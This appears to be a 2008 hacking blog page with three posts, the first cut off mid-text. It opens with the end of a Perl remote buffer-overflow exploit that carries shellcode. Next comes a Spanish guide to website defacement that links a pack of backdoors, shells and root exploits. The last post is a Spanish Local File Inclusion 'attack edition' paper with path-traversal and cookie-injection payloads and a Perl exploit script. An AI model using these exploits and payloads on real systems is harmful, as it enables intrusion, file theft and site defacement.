"\x31\xc9". # xor %ecx,%ecx
"\x51". # push %ecx
"\xb5\x08". # mov $0x8,%ch
"\x68\x64\x72\x6f\x6d". # push $0x6d6f7264
"\x68\x65\x76\x2f\x63". # push $0x632f7665
"\x68\x2f\x2f\x2f\x64". # push $0x642f2f2f
"\x89\xe3". # mov %esp,%ebx
"\xcd\x80". # int $0x80
"\x89\xc3". # mov %eax,%ebx
"\xb0\x36". # mov $0x36,%al
"\x66\xb9\x09\x53". # mov $0x5309,%cx
"\xcd\x80". # int $0x80
"\x40". # inc %eax
"\xcd\x80"; # int $0x80
#our extended instruction pointer which we use to overwrite the remote eip
$eip = "\xf8\xf2\xff\xbf";
#we construct our full payload here
$payload = $nopsled.$shellcode.$eip;
#view a message if no ip address is given
if(!$ip)
{
die "Specify ip plz..\n";
}
#the remote port to connect to
$port = '7500';
#the connection protocol to use
$protocol = 'tcp';
#create the actual network connection
#and print an error message if it's not possible to create a socket
$socket = IO::Socket::INET->new(PeerAddr=>$ip,
PeerPort=>$port,
Proto=>$protocol,
Timeout=>'1') || die "Could not create socket\n";
#send the payload to the remote computer
print $socket $payload;
#close the connection
close($socket);
---
Let's run the perl script again:
perl server_exploit.pl 192.168.1.101
and yes! my cd-rom drive opened again :) what a miracle.. :PpPppP
(kids: don't irritate your father's box by continuesly opening his cd-rom drive)
[1.6]--[ Conclusion
Well we have learned to construct payloads and write exploits which
use those payloads. A good thing to do is to learn more about different
types of overflows and their exploitation methods, also practicing
different types of programming languages could be usefull.
[1.7]--[ Contact & Feedback
You can contact me by,
IRC:
FREENODE: ##c,##linux,##php,##security,##slackware,#fluxbox,#perl,#remote-exploit,#tor
MILW0RM: #milw0rm
GSO: #gso-chat
STS: #lecture,#social
IM , msn : preddy @hushmail.com
EMAIL, : m4ilinglists @gmail.com
please notify me of any mistake's which I might have made :)
or any other comments..
Cya around guyz,
Preddy
lol
miércoles, 26 de noviembre de 2008
Defacing De La Manera Correcta Desde 0 (Recopilacion)
E visto que en muchos foros preguntan:
quiero aprender a defecear por donde comienzo?
a lo que usualmente le contestan
aprende a usar SSS o acunetix,escanea la pagina,y busca su respectivo exploit en milw0rm y explotala,busca dorks en www.google.com etc etc
pero realmente no se han detenido a pensar que realmente no aprenderia el usuario nada.ni siquiera de que y de donde viene una vulnerabilidad en una aplicacion web.
y tampoco los encaminan a que aprendan programacion por que la mayoria de las veces las vulnerabilidades provienen o del administrador del server o del administrador de la web o del script web que este utilizando.
o sea que en resumidas cuentas a la hora de que el usuario empiece a usar sus scanners y explotar con sus exploits de milw0rm no tiene la menor idea de por que vino la falla.
"pero diran pero si yo quiero solamente es defecear la pagina"
si es asi continua usando los scanners y explotando scripts prefabricados que salen vulnerables en milw0rm y no sigas leyendo.
Aqui tambien encontraras todas las herramientas renombradas con sus respectivos enlaces de descarga que estan marcado de este color asi que pueden visitar los enlaces ;)
quiero aprender a defecear por donde comienzo?
a lo que usualmente le contestan
aprende a usar SSS o acunetix,escanea la pagina,y busca su respectivo exploit en milw0rm y explotala,busca dorks en www.google.com etc etc
pero realmente no se han detenido a pensar que realmente no aprenderia el usuario nada.ni siquiera de que y de donde viene una vulnerabilidad en una aplicacion web.
y tampoco los encaminan a que aprendan programacion por que la mayoria de las veces las vulnerabilidades provienen o del administrador del server o del administrador de la web o del script web que este utilizando.
o sea que en resumidas cuentas a la hora de que el usuario empiece a usar sus scanners y explotar con sus exploits de milw0rm no tiene la menor idea de por que vino la falla.
"pero diran pero si yo quiero solamente es defecear la pagina"
si es asi continua usando los scanners y explotando scripts prefabricados que salen vulnerables en milw0rm y no sigas leyendo.
Aqui tambien encontraras todas las herramientas renombradas con sus respectivos enlaces de descarga que estan marcado de este color asi que pueden visitar los enlaces ;)
- Por Que Este Paso A Paso?
Ya eso lo conteste arriba creo :) - Cual Es El Objetivo
El Objetivo es que los usuarios,clarifiquen su camino y no se pierdan en lo que es el defacing,y que muestren interes en una rama del hacking interesante como lo es la Busqueda de vulnerabilidades a nivel web - Que Aprendere?
Lo mejor del under,que uno aprende hasta que tu mismo quieras si eres autodidacta y sabes dividir tu tiempo aprenderas todo
A continuacion ire recopilando lo que si debes ocupar si quieres realmente convertirte en un "defacer" (si asi se le llama) xD - Por Donde Empiezo
ok por donde empieza la creacion de todo en el internet Programacion
el internet se mueve gracias a cientos de lenguajes de programacion y por ahi debes comenzar:
1-Html Al Menos Basico
@html es un lenguaje de programacion por el cual estan programadas muchas paginas webs y seguramente sea el que quieras usar para poner tus index en tu camino hacia zone-h xD - Html Info Wikipedia
- Tuto Html by LogMare
- HTML Y CSS
******************
2-PHP Intermedio
@PhP Es Un lenguaje a nivel web similar al Html pero este tiene la ventaja que hace nuestros sitios dinamicos y realmente se pueden hacer cosas maravillosas con el... - PhP info Wikipedia
- Manuales PhP
- Recopilacion De PhP
- Manual en linea PhP
******************
3-Sql
@Bueno esto es un lenguaje que esta de una forma ligado a la programacion web y al defacing por que es un lenguaje del que se ocupa de gestionar base de datos de sitios webs y deferentes estructuras. - SqL Wikipedia Info
- Diversos Libros y Manuales Sobre SQL
*******************
4-Perl
@Perl es un lenguaje por excelencia limpio,organizado,y potente..por el cual es imprcindible ya que su potencia abarca en lo que respecta a la programacion de exploits crear tus propias tools e inclusive automatizar tus maldades - Perl Wikipedia Info]
[+Recopilacion De Tutos De Perl
#####################
Bueno por ahora nos quedamos en esos lenguajes no es obligatorio pero es imprecindible a la hora que quieras avanzar y quieras solo descubrir fallos en sistemas u otras cosas (Pentester) - Que Tecnicas Usare En el defacing?
1-SqlInjection - Sql Injection Wikipedia Info
- Error based SQL Injection by AnalyseR (ingles)
- Blind MySQL Injection by ka0x
- Técnicas de inyección en MySQL by ka0x
- MYSQL BLIND SQL INJECTION by Pepelux
***********************
2-LFI(Local File Inclusion) - Remote / Local File Inclusion Exploits by Sunjester(inggles
- f**king the Web Apps LfI BY josS
***********************
3-XSS(Cross Site Cripting) - XSS Wikipedia Info
- Cross Site Scripting [XSS] by sl4xUz
- XSS (Cross Site Scripting)Evasion De Filtros
***********************
4-RFI (Remote File Include) - RfI Wikipedia Info]
- RFI 101 Basico by blood_rec
- R.F.I. Rooting (Linux Server and Safe Mod: OFF) by satanicstar (ingles)
************************
bueno eso son las tecnicas mas comunes por las cuales deberias empezar en esto del defacing.... - Que Herramientas Ocupo?
@No Nesesitas Todas Estas Herramientas Que enlistare pero las Enlisto Para Que te hagas alguna idea de lo que podrias utilizar
1-Mucha Paciencia y Cafe
La Nesesitaras ya que esto no es entrar ver y defecear y ya..
2-Nikto Scanner de Vulnerabilidades(linux)
un scanner para la plataforma de linux con una buena base de datos de vulnerabilidades para aplicaciones webs
3-Zenmap Scanner de Puertos
siempre un scanner de puertos es imprecindible a la hora de ver los puertos que tiene abierto la victima y este es muy bueno ya que te indica los servicios que gestiona cada puerto ;)
4-NetCatHerramienta de Monitoreo de Red
5-SSS Scanner de Vulnerabilidades (Windows) ##pass:hackhell
Shadow Security Scanner es un completísimo y efectivo escáner de vulnerabilidades para la plataforma de Windows nativa, aunque también examina servidores de cualquier otra plataforma revelando brechas en Unix, Linux, FreeBSD, OpenBSD y Net BSD.
6-Acunetix Scanner De Vulnerabilidades (Windows) ##pass:just4you
Acunetix Web Vulnerability Scanner, una sencilla herramienta con la que podrás analizar todas las posibles entradas de hackers que pueden producirse en tu sitio web y así cerrarlas.
7-Cygwin (Compilador)
Informacion Aqui
8-Metasploit Framework de Hacking Completa
No muy nesesaria esta tool pero trae muy buenas herramientas mas info Aqui
no voy a seguir enumerando herramientas por que no terminaria y lo que queremos aqui es que vayan desde 0 hasta no se 1,000 xD
hay muchas tools que pueden ocupar como scripts en diferentes lenguajes,perl,C++,PhP,Ruby
por ejemplo:
LFI fUZZER (para buscar Lfi)
En fin si enumero no terminamos les ahorre el trabajo preparandole un Big Pack (Paquete Grande) El Cual Contiene todo lo que nesesitas,Herramientas,Manuales,Shells,Perl Scripts,Python Scripts,Backdoors,Sources...
De todo un gran pack por el cual querras darle una buena revisada...
reitero que algunas de las herramientas que estan en el paquete no fueron testeadas asi que no me hago responsable de horrores ni danos en su pc.
si enumero todo el contenido del paquete realmente este post se hace larguisimo si asi lo quieren preparo un texto y se los publico por aqui solo me dejan saber
/backdoors
/ManulesDefacing
//Mass Defacer And Log Eraser
/perltools
/phyton to0ls
/Reverse to0ls
/Ro0t 3xpl0its
/Scanners
/shells
/sources
/to0ls
Descargalo Aqui
###########################
Ya con esto tienen realmente por donde empezar y realmente no nesesitan usar todas las tools todo es por paso comienzen por la programacion luego pasan por partes a aprender las teknikas..
recuerden que no puedes aprender las tecnicas primero sin aprender programacion por que realmente no aprenderas comno funcionan las cosas..
la programacion fue lo que comenzo todo y asi mismo lo terminara escoje el camino que quieras recorrer y descubre el mundo de la busqueda de vulnerabilidades..
yo por mi parte no soy defacer no me gusta andar poniendo 1,000 index y decir soy el mas Pingon de la red...megusta buscar vulnerabilidades y notificarlas al administrador pero ya esta de ustedes escoger lo que quieren hacer con sus conocimientos
Esta recopilacion fue hecha con motivos educacionales ni este servidor ni el sitio donde a sido posteado se hace responsable de el uso que le den,asi como tambien los autores de los manuales que han sido recopilados...
espero que les sea de su agrado
EOC (END OF COURSE) xD
blood_rec
Etiquetas:
Deface,
Hacking,
Herramientas,
manuales
viernes, 24 de octubre de 2008
fucking the Web Apps [LFI #1 - attack edition by JosS
=-|=========================================-{ www.spanish-hackers.com }-====|
=-| fucking the Web Apps [LFI #1 - attack edition]-==========================|
=-|==========================================================================|
=-[ By JosS ]-=========================-[ 07/10/2008]-=|
____ __ __ __
/\ _`\ /\ \ __ /\ \__/\ \
\ \ \L\_\__ __ ___\ \ \/'\ /\_\ ___ __ \ \ ,_\ \ \___ __
\ \ _\/\ \/\ \ /'___\ \ , < \/\ \ /' _ `\ /'_ `\ \ \ \/\ \ _ `\ /'__`\
\ \ \/\ \ \_\ \/\ \__/\ \ \\`\\ \ \/\ \/\ \/\ \L\ \ \ \ \_\ \ \ \ \/\ __/
\ \_\ \ \____/\ \____\\ \_\ \_\ \_\ \_\ \_\ \____ \ \ \__\\ \_\ \_\ \____\
\/_/ \/___/ \/____/ \/_/\/_/\/_/\/_/\/_/\/___L\ \ \/__/ \/_/\/_/\/____/
/\____/
\_/__/
__ __ __ ______
/\ \ __/\ \ /\ \ /\ _ \
\ \ \/\ \ \ \ __\ \ \____ \ \ \L\ \ _____ _____ ____
\ \ \ \ \ \ \ /'__`\ \ '__`\ \ \ __ \/\ '__`\/\ '__`\ /',__\
\ \ \_/ \_\ \/\ __/\ \ \L\ \ \ \ \/\ \ \ \L\ \ \ \L\ \/\__, `\
\ `\___x___/\ \____\\ \_,__/ \ \_\ \_\ \ ,__/\ \ ,__/\/\____/
'\/__//__/ \/____/ \/___/ \/_/\/_/\ \ \/ \ \ \/ \/___/
\ \_\ \ \_\
\/_/ \/_/
Local File Inclusion #1
attack edition
-[ INFOS ]-----------------------------------------------------------------------
Title: "fucking the Web Apps [LFI #1]"
Version: attack edition
Author: JosS
mail: sys-project[at]hotmail[dot]com
site: http://spanish-hackers.com
team: Spanish Hackers Team - [SHT]
date: 2008-10-07
-[ SUMMARY ]---------------------------------------------------------------------
0x00: Introducción
0x01: Local File Inclusion
0x02: Exploits
0x03: Créditos
___ for the sake ___
------[ 0x00.- Introducción ]
Hola a todos los que están hoy aquí leyendo este 'paper' ya bien sea para repasar
conocimientos ya adquiridos o bien para profundizar y extender sus conocimientos.
Antes de empezar con la breve introducción sobre que leerás en este documento,
quisiera presentarme. Me hago llamar JosS y soy el fundador de Spanish Hackers Team,
una de mis pasiones dentro del ámbito informático es la de investigación de
vulnerabilidades (Bug Research) especialmente en aplicaciones webs (Web Apps) que
será el tema que tocaremos en este 'paper'. Les dejo mi perfil de milw0m por si
quieren saber más de mí.
id: 1248
profile: http://milw0rm.com/author/1248
Este texto no es para nada lo que os esperáis al leer el sumario, no vamos
a ver las técnicas en sí, lo que haremos es dejarnos de explicaciones básicas y
pasaremos a profundizar conocimientos. Veremos ejemplos reales no muy comunes,
por si nos pasase en una situación real no nos quedemos con la duda de, ¿ Qué
hago ahora?. A si que podría decir no muy atrevido que este 'paper' te abre
la mente y tus aspiraciones a explotar vulnerabilidades de distintas formas,
básicamente 'Thought hacker'.
Eso es lo que os espera en este aburrido y divertido 'paper'.
------[ 0x01.- Local File Inclusion ]
Vamos a ver distintas maneras de como pueden estar provocados los 'LFI' y por
tanto a distinta programación, distinta explotación, esto es lo que buscamos:
una mente abierta. ;)
[code #1]
x: >...
if (isset($_GET["mode"]))
{
if ($_GET["mode"]=="edit")
{
if (isset($_GET['id']))
{
$notefile = $_GET['id'];
if ($notefile == "new")
{
$title = "";
$notes = "";
}
else
{
$temp = "notes/" . $notefile;
require($temp);
}
x: <...
x: }}}
[ENDcode #1]
Este es el ejemplo más simple de 'LFI' que veremos. Como vemos no tiene mucha
dificultad para entender su comportamiento.
1) Comprueba si existe la variable 'mode' pasada por 'GET'. Si el resultado es
1, es decir verdadero entonces entraremos dentro de la sentencia 'IF'.
2) Comprueba si existe la variable 'edit' pasada por 'GET'. Si el resultado es
1, es decir verdadero entonces entraremos dentro de la sentencia 'IF'.
Continuamos avanzando ...
3) Comprueba si existe la variable 'id' pasada por 'GET'. Si el resultado es
1, es decir verdadero entonces entraremos dentro de la sentencia 'IF'.
4) Pasa a la variable '$notefile' el valor que asignamos a 'id' por medio de
'GET' y comprueba si la variable '$notefile' es igual a 'new', en este caso
nos interesa que no entre en esa sentencia de 'IF', porque no está el include
que buscamos, a si que haremos que en esa condición obtengamos el valor 0
y pasemos al else.
5) Asigna a '$temp' una cadena con nuestro valor dentro de ella ($notefile).
6) Por último hace uso de la función 'require' e incluye la cadena '$temp' con
nuestro valor dentro de ella.
Exploit: ?mode=edit&id=../../../../../../../../../../etc/passwd
En caso de tener:
$temp = "notes/" . $notefile . ".php";
El exploit tendría que tener un 'NULL BYTE' (h) al final de la cadena.
Exploit: ?mode=edit&id=../../../../../../../../../../etc/passwd
Esto fue todo para nuestro primer ejemplo normalito, de moento todo muy
básico, fácil y nada que no se haya visto. ¿Continuámos?
----
Después de a ver calentado vamos a por el segundo ejemplo. El código
es vulnerable a 'LFI' mediante la vulnerabilidad de 'Insecure Cookie
Handling'. Me imagino que os preguntaréis: ¿Una vulnerabilidad dentro
de otra? Raro no? ... pues no!. Miremos el ejemplo.
[code #2]
if(!empty($_COOKIE['language']) && !isset($_SESSION['language'])){
$_SESSION['language'] = $_COOKIE['language'];
}
....
if(LANG == ""){
if(!isset($_SESSION['language'])){
include("lang/english/lang.php");
$_LANG = "english";
} else {
include("lang/".$_SESSION['language']."/lang.php");
$_LANG = $_SESSION['language'];
}
... }
[ENDcode #2]
1) Comprueba si las dos variables "$_COOKIE['language'] y "$_SESSION['language']"
no están definidas, en el código vemos claramente que no están definidas, por
lo que entramos de lleno en el 'IF'.
2) Debemos saber que la variable '$_COOKIE' puede ser manipulada por el usuario,
por lo que esa variable será nuestro vector de ataque. Como vemos en el código
se le asigna a "$_SESSION['language']" el valor de "$_COOKIE['language']" que
será introducido por nosotros mediante la vulnerabilidad de 'Insecure Cookie
Handling'.
3) Comprueba que 'LANG' no tiene valor, en este caso es afirmativo y entramos al
'IF'.
4) Si no está definida "$_SESSION['language']" entraríamos al 'IF' pero como el
código pasó el valor de $_COOKIE a $_SESSION, la variable si está definida y
nos saltaría al 'else'.
5) Dentro del 'else' hace uso de la función 'include' para incluir nuestra cadena.
Exploit:
javascript:document.cookie="language=../../../../../../../../../../etc/passwd; path=/";
Como vemos, tuvimos que añadir el NULL BYTE (h) porqué en el include teníamos una
cadena que se sumaría a la nuestra y evitaría nuestro 'Directory Traversal'.
¿Tenéis ganas de continuar? ... yo las tendría.
----
En este tercer y penúltimo ejemplo del apartado de 'LFI' tenemos una situación
muy parecida a la del ejemplo 2, solo que esta vez tenemos un intruso, la
función 'explode' de PHP. Abramos la mente y pensemos como un Hacker.
[code #3]
x: >...
if (isset($HTTP_COOKIE_VARS["userInfo"]) && $HTTP_COOKIE_VARS["userInfo"] != "") {
$userArray = explode(" ", $HTTP_COOKIE_VARS["userInfo"]);
$userName = $userArray[0];
$userID = $userArray[1];
$userLang = $userArray[2];
include("include/lang/$userLang/inc.messages.php");
}
x: <...
[ENDcode #3]
Debéis saber que "$HTTP_COOKIE_VARS" también puede ser manipulado por el usuario, no
os encerréis con "$_COOKIE", abriros ...
1) El único 'IF' del código comprueba que la variable sea distinto a 'nothing', es
decir que cuando nosotros ejecutemos nuestro 'exploit' daremos valor a
"$HTTP_COOKIE_VARS["userInfo"]" y por tanto entramos de lleno en el 'IF'.
2) La función 'explode', el intruso que nos quiere fastidiar el 'bug' separa las
distintas cadenas y las guarda en un 'array'.
3) Fijaros en la linea del 'include', incluye '$userLang' que recoje el tercer valor
de la cadena que se encuentra en "$HTTP_COOKIE_VARS["userInfo"]".
Proof of Concept (function 'explode' PHP):
1)
String = JosS;
[0] = JosS;
[1] = ;
[2] = ; ---> INCLUDE
2)
String = JosS JosS JosS;
[0] = JosS;
[1] = JosS;
[2] = JosS; ---> INCLUDE
¿Entendéis?, es decir que deberíamos introducir algo como: basura basura loquenosinteresa
Exploit:
javascript:document.cookie="userInfo=JosS JosS ../../../../etc/passwd; path=/";
----
Para el cuarto y último ejemplo para terminar el apartado de 'LFI' tenemos una
situación parecida a la del ejemplo 1, es decir un LFI, que tenemos que jugar
con los 'IF GETS' más la vulnerabilidad que permite el manejo de la 'COOKIE'.
[code #4]
x: >...
if (isset($_GET["mode"]))
{
if ($_GET["mode"]=="edit")
{
if (isset($_GET['id']))
{
$notefile = $_COOKIE['note'];
if ($notefile == "new")
{
$title = "";
$notes = "";
}
else
{
$temp = "notes/" . $notefile;
require($temp);
}
x: <...
x: }}}
[ENDcode #4]
No voy a explicar nuevamente paso a paso lo que hace este código, ya que lo vimos
en el ejemplo 1 de este apartado.
Tenemos que tener en cuenta que para que nuestro de valor de '$_COOKIE' se incluya
debemos dar positivo a los 'IF' que nos ayudan a llegar al include de nuestra
'COOKIE'. Entonces nos quedamos con estos dos exploits.
Exploit 1:
javascript:document.cookie="note=../../../../../../../../../../etc/passwd; path=/";
Exploit 2: ?mode=edit&id
------[ 0x02.- Exploits ]
Yo más bien los llamaría "automatizadores" ya que no hacen nada más que simplificar
el proceso y comodidad del usuario. El ejemplo está programado en Perl, ya que
junto a python es lo que más se usa en estos casos. Veamos el código que os tengo
preparado.
[code #1]
use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;
if (!$ARGV[0])
{
print "Usage: perl xpl.pl [HOST]\n";
print "Example: perl xpl.pl http://localhost/path/\n";
}
else
{
$web=$ARGV[0];
chomp $web;
$iny="vuln.php?vuln=../../../../../../../../../../../../../../../../etc/passwd";
my $web1=$web.$iny;
print "$web1\n\n";
my $ua = LWP::UserAgent->new;
my $req=HTTP::Request->new(GET=>$web1);
$doc = $ua->request($req)->as_string;
if ($doc=~ /^root/moxis ){
print "Web is vuln\n";
}
else
{
print "Web is not vuln\n";
}}
[ENDcode #1]
El exploit es simple y no tiene mucho misterio. Hacemos uso del módulo 'LWP' para hacer
nuestra conexión a la web (con la inyección de explotación incluida) y mediante una
expresión regular buscamos que se haya incluido el archivo y si es así lo muestra, en caso
contrario sale un mensaje de error.
------[ 0x03.- Cŕeditos ]
Author: JosS
mail: sys-project[at]hotmail[dot]com
site: http://spanish-hackers.com
team: Spanish Hackers Team - [SHT]
work fun!
__EOF__
Suscribirse a:
Entradas (Atom)